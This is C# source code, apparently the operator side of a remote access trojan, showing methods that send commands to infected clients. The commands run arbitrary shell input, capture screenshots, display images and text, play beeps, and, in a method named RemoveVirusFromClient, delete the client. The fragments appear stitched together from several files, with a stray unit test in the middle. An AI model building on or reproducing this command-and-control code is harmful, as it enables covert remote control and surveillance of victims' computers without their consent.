/// <summary>
/// Opens a textbox on the client with the provided text
/// </summary>
private void SendDisplayText()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "TextBox", Handler = handler, Value = BroadcastMessageText
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
public void CloseCMD()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "StopCMD", Handler = handler
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Sends the beep command to the client
/// </summary>
public void SendBeep()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "PlayBeep", Handler = handler, Value = "800,800"
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
/// <summary>
/// Sends the screenshot command to the client
/// </summary>
private void SendMakeScreenshot()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}"
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
public void SendCMDToClient()
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "ExecuteCMD", Handler = handler, Value = CommandText
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
CommandText = "";
}
public void TestMethod1()
{
string testText = "adasdsada\0\0\0\0\0\0\0\0";
TransferCommandObject t = new TransferCommandObject {
Command = "Login", Value = testText
};
var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t));
Assert.AreEqual(t.Value, t2.Value);
}
/// <summary>
/// Function that sends an image to the client, displays the image and then presses f11 on the client.
/// </summary>
private void SendDisplayImage()
{
OpenFileDialog open = new OpenFileDialog();
open.Filter = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;";
open.Multiselect = false;
open.Title = "Pick an image to send to the client";
if (open.ShowDialog() == true)
{
byte[] bytes = File.ReadAllBytes(open.FileName);
string base64 = Convert.ToBase64String(bytes);
TransferCommandObject returnObject = new TransferCommandObject {
Command = "ShowImage", Handler = handler, Value = base64
};
_server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
}
}
/// <summary>
/// Called when a new message was received on any client socket.
/// </summary>
/// <param name="c"></param>
/// <param name="model"></param>
/// <param name="type"></param>
private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type)
{
BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray);
switch (type)
{
case Server.DataByteType.Response:
if (model.Command == "CMDResponse")
{
c.AddToCMDBuffer(model.Value);
}
else if (model.Command == "ScreenshotResponse")
{
ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value);
c.SetScreenshot(screenshotObject);
}
else if (model.Command == "ScreenList")
{
List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value);
if (screenList != null)
{
c.SetScreenData(screenList);
}
}
break;
case Server.DataByteType.Command:
if (model.Command == "Debug")
{
TransferCommandObject returnObject = new TransferCommandObject {
Command = "PlayBeep", Handler = "Audio", Value = "200,300"
};
Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject));
}
break;
case Server.DataByteType.Data:
c.SetDataItem(model.Command, model.Value);
NotifyPropertyChanged("SelectedClient.storedData");
NotifyPropertyChanged("CurrentClientName");
break;
}
}
/// <summary>
/// Function that sends a request to the client for removing the client application from the computer.
/// </summary>
private void RemoveVirusFromClient()
{
TransferCommandObject removeVirusTransferObject = new TransferCommandObject {
Command = "DeleteTask", Handler = "Task"
};
var socket = ServerViewModel.Server.GetSocketByClient(this);
ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject));
}
